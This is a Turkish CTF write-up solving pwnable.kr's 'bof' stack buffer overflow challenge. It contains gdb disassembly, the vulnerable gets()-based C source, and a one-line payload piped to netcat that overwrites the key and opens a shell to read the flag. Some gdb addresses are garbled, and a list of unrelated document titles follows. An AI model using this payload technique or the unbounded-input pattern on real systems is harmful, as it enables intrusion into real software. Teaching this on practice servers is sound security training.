C İLE BUFFER OVERFLOW-2
|
|
- Ufuk Nazmi
- 6 yıl önce
- İzleme sayısı:
Transkript
1 C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst
2 Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz. Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz.
3 Ekranda iki indirme bağlantısı ve bir netcat ile server bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı.
4 Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x a <+0>: push %ebp 0x b <+1>: mov %esp,%ebp 0x d <+3>: and $0xfffffff0,%esp 0x <+6>: sub $0x10,%esp 0x <+9>: movl $0xdeadbeef,(%esp) 0x a <+16>: call 0x62c <func> 0x f <+21>: mov $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: mov %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: mov %gs:0x14,%eax 0x <+12>: mov %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: movl $0x78c,(%esp) 0x <+24>: call 0x645 <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: mov %eax,(%esp) 0x f <+35>: call 0x650 <func+36> 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x66b <func+63> 0x d <+49>: movl $0x79b,(%esp) 0x <+56>: call 0x665 <func+57> 0x <+61>: jmp 0x677 <func+75> 0x b <+63>: movl $0x7a3,(%esp) 0x <+70>: call 0x673 <func+71> 0x <+75>: mov -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x688 <func+92>
5 0x <+87>: call 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--- 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz. root@kali:~/desktop/hey# gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: mov %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: mov %gs:0x14,%eax 0x <+12>: mov %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: movl $0x78c,(%esp) 0x <+24>: call 0x <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: mov %eax,(%esp) 0x f <+35>: call 0x <func+36>
6 * 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x b <func+63> 0x d <+49>: movl $0x79b,(%esp) 0x <+56>: call 0x <func+57> 0x <+61>: jmp 0x <func+75> 0x b <+63>: movl $0x7a3,(%esp) 0x <+70>: call 0x <func+71> 0x <+75>: mov -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x <func+92> 0x <+87>: call 0x <func+88> 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd Breakpoint 1, 0x in func () (gdb) info registers eax 0xffffd32c ecx 0xfbad edx 0xf7fad87c ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac eip 0x x <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef
7 gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :) if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out
8 Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim root@kali:~/desktop/hey$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html of-writeup-toddlers-bottle/
9 Yazar: Ömer Faruk SÖNMEZ
Scanf e & sız Değer Atama
Scanf e & sız Değer Atama Bir önceki buffer overflow yazımızda kullandığımız ve genel olarak C kodları ile pentest yaptığımız pwnable.kr sitesine giriyoruz. Play kısmından sorulara geçip passcode resminin
DetaylıLinux Assembly Programlamaya Giriş
Linux Assembly Programlamaya Giriş Barış Metin Konular gcc / gas / ld Intel ve AT&T söz dizimleri gdb INT 80H C kütüphane fonksiyonları Stack Frame Örnek
DetaylıBBM 341 Sistem Programlama
Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 S6 S7 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Ara Sınav 1 Tarih: 29 Mart 2012 Süre: 140 dak.
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S S S S4 S Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 0 Sistem Programlamaya Giriş. Ara Sınav Tarih: Mayıs 0 Süre: 0 dak. Sınava başlamadan önce
DetaylıAHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ
AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN
DetaylıMetasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat
Metasploit Framework ile Exploit Geliştirme Fatih Özavcı Canberk Bolat Bilgi Güveniği Danışmanı Güvenlik Araştırmacısı fatih.ozavci at gamasec.net canberk.bolat at gmail dotcom gamasec.net/fozavci cbolat.blogspot.com
DetaylıCSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI
CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI 07.07.2003 Burak DEMİRKOL Atılım BOY [v 1.0] Özet : Bu makalede CSD İşletim sisteminin sistem fonksiyonlarının user mod dan (ring 3) kernel mod
DetaylıBBM 341 Sistem Programlama
Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan
DetaylıBahar Dönemi. Öğr.Gör. Vedat MARTTİN
Bahar Dönemi Öğr.Gör. Vedat MARTTİN 8086/8088 MİKROİŞLEMCİSİ İÇ MİMARİSİ Şekilde x86 ailesinin 16-bit çekirdek mimarisinin basitleştirilmiş bir gösterimi verilmiştir. Mikroişlemci temel iki ayrı çalışma
DetaylıAçık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi
Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi Kerem Erzurumlu Aykut Karakaya kerem@linux.org.tr aykut.karakaya@bil.omu.edu.tr Ondokuz Mayıs Üniversitesi Bilgisayar Mühendisliği Bölümü Gereksinim
DetaylıQt ile Bir Ağ Uygulaması
Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.
DetaylıAdım Adım C-II. Eksik kalmış konular
Adım Adım C-II Eksik kalmış konular Bu dersin amacı Bu derste; değişkenler, sabitler ve operatörler ile fonksiyonlar konusunun detayları anlatılacaktır. Ders bitiminde; Daha etkin programlar yazma becerisinin
DetaylıSınav tarihi : Süre : 60 dak.
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Final Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 31.05.2016 Süre : 60 dak. 1. Ekranda ne görüntülenir? int i =
DetaylıMTM 305 MİKROİŞLEMCİLER
KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Ekran ve Klavye İşlemleri EKRAN İŞLEMLERİ Ekrana yazdırma işlemleri
DetaylıAHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ
AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar İki Yönlü Bağlantılı Liste Uygulaması HAZIRLAYAN
DetaylıROP için kısacası şunları diyebiliriz;
Giriş Öncelikle şunu belirtmekte fayda var bu makale Türkiye güvenlik & hacking topluluğuna destek amaçlı teknik konularda bilgi ve beceri kazandırabilme adına yazılmıştır. Makalede eksik ya da yanlış
DetaylıBölüm 3: Adresleme Modları. Chapter 3: Addressing Modes
Bölüm 3: Adresleme Modları Chapter 3: Addressing Modes 3 1 Veri Adresleme Modları MOV komutu veriyi bir bellek satırından diğer bellek satırına yada yazaca kopyalar Kaynak (source) verilin okunacağı belleğin
DetaylıELN1001 BİLGİSAYAR PROGRAMLAMA I
ELN1001 BİLGİSAYAR PROGRAMLAMA I Bilgisayar Programlamaya Giriş Temel Programlama Kavramları Programlama Dilleri Program Oluşturma Teknikleri C++ Programlama Diline Giriş Temel Programlama Kavramları Bilgisayar
DetaylıEXPLOIT SHELLCODE GELİŞTİRME
EXPLOIT SHELLCODE GELİŞTİRME Fatih Emiral OSCP, CISSP, CISA, CEH, CIA, ISO27001 LA İçindekiler BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri I. GİRİŞ... 2 II. SHELLCODE TEST ARAÇLARIMIZ... 4 III. STANDART
DetaylıC Konsol ve Komut Satırı
C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan
DetaylıBig Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01
Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA
DetaylıINTEGER OVERFLOW ***************************************************************/
INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi
DetaylıŞehmus POLAT Teknoloji Fakültesi
Şehmus POLAT Teknoloji Fakültesi Elektrik-Elektronik Mühendisliği CTF Nedir? Capture the Flag (Bayrağı yakala), siber güvenlik alanında düzenlenen ve katılımcıların; kriptoloji, tersine mühendislik, log
Detaylıint faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); }
FONKSİYONLAR Fonksiyon, programcı tarafından seçilen bir kod bloğuna isim vermek için kullanılan araçtır. Fonksiyon ismi program içerisinde çağrıldığında fonksiyonun temsil ettiği kod çalıştırılır. Örneğin
DetaylıPROGRAMLAMAYA GİRİŞ DERS 2
PROGRAMLAMAYA GİRİŞ DERS 2 Program editörde oluşturulur ve diske kaydedilir Tipik Bir C Programı Geliştirme Ortamının Temelleri 1. Edit 2. Preprocess 3. Compile 4. Link 5. Load 6. Execute Önişlemci programı
DetaylıDers Özeti. Ders 2. PC nin İç Organizasyonu. Mikroişlemcinin Organizasyonu. Basitçe İşlemciyi Oluşturan Parçalar. Mikroişlemciler
Ders Özeti Ders Bilgisayarlar Hakkında Mikroişlemci ve Bilgisayar sisteminin yapısı Temel komut işleme süreci x86 kaydedicileri (registers) x86 hafıza temelleri Çevre cihazları x86 assembly diline giriş
Detaylı8086 Mikroişlemcisi Komut Seti
8086 Mikroişlemcisi Komut Seti X86 tabanlı mikroişlemcilerin icra ettiği makine kodları sabit olmasına rağmen, programlama dillerinin komut ve ifadeleri farklı olabilir. Assembly programlama dilininde
DetaylıExploit.CVE-2012-0003 Analizi
Exploit.CVE-2012-0003 Analizi Celil ÜNÜVER cunuver [at] signalsec.com www.signalsec.com Hackerların yer altı dünyasında Patch Tuesday, Exploit Wednesday diye bir söz vardır. Microsoft Salı günü yamaları
Detaylı16 bitlik işlemciler basit olarak 8 bitlik işlemciler gibi Kaydedici ALU Zamanlama/kontrol
16 bitlik İşlemciler 16 bitlik işlemciler basit olarak 8 bitlik işlemciler gibi Kaydedici ALU Zamanlama/kontrol Birimlerine sahiptirler. Fakat mimari yapıları çoklu görev (multitasking) ortamına uygun
DetaylıPython Programlama Dili
Python Programlama Dili 2. Python da Koşul ifadeleri Python da koşullu durumların nasıl oluşturulacağını bu bölümde öğreneceğiz. Bu iş için kullanacağımız üç tane deyim var: if, else ve elif 2.1. if If
DetaylıSınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Bitirme Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 01.06.2017 Süre : 60 dak. 1. t değişkeni hakkında aşağıdakilerden
Detaylı2 PYTHON A GIRIŞ 13 PyCharm İle Python Projesi Oluşturma 15 Projenin Çalıştırılması 18 İlk Python Programımız 19 Açıklama Satırları 21
İÇİNDEKİLER VII İÇİNDEKİLER 1 PYTHON 1 Neden Python? 2 Python Sürümleri 2 Python Kurulumu 3 Windows Üzerinde Python 3 Ubuntu Üzerinde Python 6 Komut Satırında Python Çalıştırma 6 Windows komut istemi üzerinde
DetaylıDebug Komutları C:\>DEBUG - Çizgi işareti artık debug programının komut kabul etmeye hazır olduğunu belirtmektedir.
Debug Komutları Assembly komutlarının nasıl çalıştıklarını deneyerek görmek ve yazılan programların amacına uygun çalışıp çalışmadığını anlamak varsa hatalarını düzeltmek için DOS'un DEBUG.COM isimli programı
DetaylıMTM 305 MĠKROĠġLEMCĠLER
KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ KONTROL KOMUTLARI Program Kontrol Komutları Program akıģını bir
DetaylıGiris {\} /\ Suhap SAHIN Onur GÖK
Giris 0 \ /\ Suhap SAHIN Onur GÖK Fonksiyon C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) Giris? main() Çıkıs main() C: Ana Fonksiyon(main) void main()
Detaylıİşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri
İşletim Sistemleri Dr. Binnur Kurt binnur.kurt@gmail.com Omega Eğitim ve Danışmanlık http://www.omegaegitim.com 1 S a y f a İÇİNDEKİLER 1. İşletim Sistemi 2. Kabuk 3. Prosesler 4. İplikler 5. İplikler
DetaylıKomut Seti Mimarisi (ISA)
Komut Seti Mimarisi (ISA) BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Dr. Öğretim Üyesi Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted
DetaylıBil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi
Bil101 Bilgisayar Yazılımı I Bilgisayar Yüksek Mühendisi Editör Disk 1)Kaynak kodlar editör aracılığı ile oluşturulur. (.c) Kaynak dosya Önişleyici Disk 2)Önişleyici kodlar içerisindeki ilk işleme işini
DetaylıKarakter katarları ile ilgili fonksiyonlar içerir Yerel kayan noktalı sayılar tanımlanır
stringh floath Karakter katarları ile ilgili fonksiyonlar içerir Yerel kayan noktalı sayılar tanımlanır 32 Sorgulama İfadesi - if Deyimi (5 Hafta) Bu deyim sorgulamanın tek basamakta yapılacağı yerlerde
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S S2 S3 S4 S5 S6 S7 S8 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Final Sınavı Tarih: 30 Mayıs 202 Süre: 35 dak.
DetaylıMICROPROCESSORS ESA 86/88-3 KULLANIM KLAVUZU
MICROPROCESSORS ESA 86/88-3 KULLANIM KLAVUZU Microprocessors dersinin deneyleri için kullanılan ESA 86/88-3 board unun resmi yukarıdadır. Board ile iletişime geçebilmek ve assembler ını kullanmak için
DetaylıMİKROBİLGİSAYAR SİSTEMLERİ. Teknik Bilimler Meslek Yüksekokulu
MİKROBİLGİSAYAR SİSTEMLERİ Teknik Bilimler Meslek Yüksekokulu Dersin Amacı Mikroişlemciler Mikrodenetleyiciler PIC Mikrodenetleyiciler Micro BASIC Programlama Kullanılacak Programlar MSDOS DEBUG PROTEUS
DetaylıMTM 305 MĠKROĠġLEMCĠLER
KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ Mantıksal Komutlar AND OR XOR NOT TEST And Komutu Yapı olarak AND
DetaylıHAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ
HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ BUFFER OVERFLOW: Buffer Nedir? Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program
DetaylıKOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr)
KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) 1. Kendisine gönderilen iki karakter dizisini birleştirip geriye tek bir dizi döndüren ve
DetaylıSınav tarihi : Süre : 60 dak. c) En başta #include<stdio.h> yazılmamıştır. c) zt d) Pi e) X0
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 14.04.2015 Süre : 60 dak. 1. Tür dönüşümleri... olmak üzere iki
DetaylıC Programlama printf() Fonksiyonu
C Programlama printf() Fonksiyonu Standart C kütüphanesinin bir parçası olan printf() C Programlama Dili'nin genel amaçlı çıktı alma fonksiyonudur. Girdi ve çıktı deyimleri gerçekte C dilinin bir parçası
DetaylıC dilinde if-else yapısı
C dilinde if- yapısı Merhaba arkadaşlar, bu başlık altında sizlere koşullu ifadelerden bahsedeceğim. Peki nedir bu koşullu ifadeler(if, if, )? Bunu bir koşulun gerçekleşmesine bağlı olarak gerçekleşen
DetaylıBekir Karul. home about twitter goodreads github
Bekir Karul home about twitter goodreads github SafeSEH ve Stack Cookie Korumasının Atlatılması Bugüne dek blogda yazdığım yazılarda herhangi bir koruma mekanizması ile uğraşmamıştık. Yani örneğin yazdığımız
Detaylı1 Aralık 2011 / Perşembe
1 Aralık 2011 / Perşembe Örnek :İki adet panel var.eğer 1nci panelde şifre Mustafa ise kendimiz bir session değişkeni oluşturup tamam yazdıracağız.değilse Şifre hatalı yazdıracağız. protectedvoid Page_Load(object
DetaylıPython Programlama Dili
Python Programlama Dili 3. Python da Döngüler Bu bölümde iki tane döngüden bahsedeceğiz: while ve for döngüleri. Ayrıca bu bölümde döngüler dışında break ve continue deyimleri ile range() ve len() fonksiyonlarına
DetaylıDerleme Make Hata Ayıklama
UYBHM Yaz Çalıştayı 15 Haziran 2011 Derleme Make Hata Ayıklama Cem Ahmet MERCAN Neler Anlatılacak? ( Compiling ) Derleme Make / Makefile ( Debug ) Hata Ayıklama UYBHM Yaz Çalıştayı 15 Haziran 2011 Derleme
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S S2 S3 S4 S5 S6 S7 S8 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Final Sınavı Tarih: 30 Mayıs 202 Süre: 35 dak.
DetaylıProses. Prosesler 2. İşletim Sistemleri
2 PROSESLER Proses Bir işlevi gerçeklemek üzere ardışıl bir program parçasının yürütülmesiyle ortaya çıkan işlemler dizisi Programın koşmakta olan hali Aynı programa ilişkinbirdenfazlaprosesolabilir. Görev
DetaylıBit, Byte ve Integer. BIL-304: Bilgisayar Mimarisi. Dersi veren öğretim üyesi: Yrd. Doç. Dr. Fatih Gökçe
Bit, Byte ve Integer BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Yrd. Doç. Dr. Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted from slides
DetaylıDOSYA İŞLEMLERİ Programlama dilleri hafta -
BİLECİK ŞEYH EDEBALİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ DOSYA İŞLEMLERİ Programlama dilleri 1-10. hafta - Araş. Gör. Nesibe YALÇIN Dosya İşlemleri Programın çalışma esnasında
DetaylıMTM 305 MİKROİŞLEMCİLER
KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Alt Programlar (Procedure) Büyük programları tek bir kod bloğu
DetaylıHSancak Nesne Tabanlı Programlama I Ders Notları
Konsol Uygulaması Oluşturma Konsol uygulaması oluşturmak için program açıldıktan sonra Create: Project ya da New Project seçeneği tıklanabilir. New Project penceresini açmak için farklı yollar da vardır.
DetaylıDers 3 ADRESLEME MODLARI ve TEMEL KOMUTLAR
Ders 3 ADRESLEME MODLARI ve TEMEL KOMUTLAR GÖMÜLÜ PROGRAMLAMA Selçuk Üniversitesi Bilgisayar Mühendisliği Bölümü 2012-2013 Bahar Dönemi Doç.Dr.Erkan ÜLKER 1 İçerik 1. Adresleme Modları 2. İskelet Program
DetaylıESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN
ESM-361 Mikroişlemciler 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN Bit operatörleri Bit operatörleri bit düzeyinde işlem yapan operatörlerdir; yani sayıları bir bütün olarak değil, bit bit
DetaylıMTM 305 MĠKROĠġLEMCĠLER
KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ String Komutarı MOVS CMPS SCAS LODS STOS String Komutları MOVS,
DetaylıArasınav Sınavı Soruları Güz 2017 Süre: 90 Dakika
Manisa Celal Bayar Üniversitesi Yazılım Mühendisliği Bölümü YZM 1105- Algoritma ve Programlama I Arasınav Sınavı Soruları Güz 2017 Süre: 90 Dakika Derse Kayıtlı Olduğunuz Grubun Öğretim Üyesini (X) ile
DetaylıBMB1002 Bilgisayar Programlamaya Giriş. Dosyalar. Prof. Dr. Necmettin Kaya
BMB1002 Bilgisayar Programlamaya Giriş Dosyalar Prof. Dr. Necmettin Kaya Dosyalar, verilen saklanması ve daha sonra okunması için bilgi içeren ve kalıcı olarak saklanabilen ortamlardır. Dosya işlemleri,
DetaylıAyrıca, Miller'ın fuzz terimi için yapmış olduğu bir açıklamayı orjinal haliyle koymak istiyorum.
Fuzzing Tarihçe Günümüzde kullanılan Fuzz / Fuzzing kavramının ilk olarak 80'li yılların sonlarında kullanıldığı söylenmektedir. IT sektöründe kabul görülen isim Barton Miller'dır. Barton Miller, Fuzz
DetaylıC++ ile Programlamaya Giriş. Gülşen Demiröz
C++ ile Programlamaya Giriş Gülşen Demiröz Bu ders şunları vermeyi amaçlıyor Basit bilgisayar bilimleri kavramları Çoğu C++ programlama kavramları Nesneye Dayalı Programlama dili Bu dersin sonunda yapabilecekleriniz
DetaylıÖnce Access açıp,masaüstü ne, vt.mdb adlı veri tabanı dosyasını oluşturuyoruz. Kayıt türünü 2002-2003 seçiyoruz
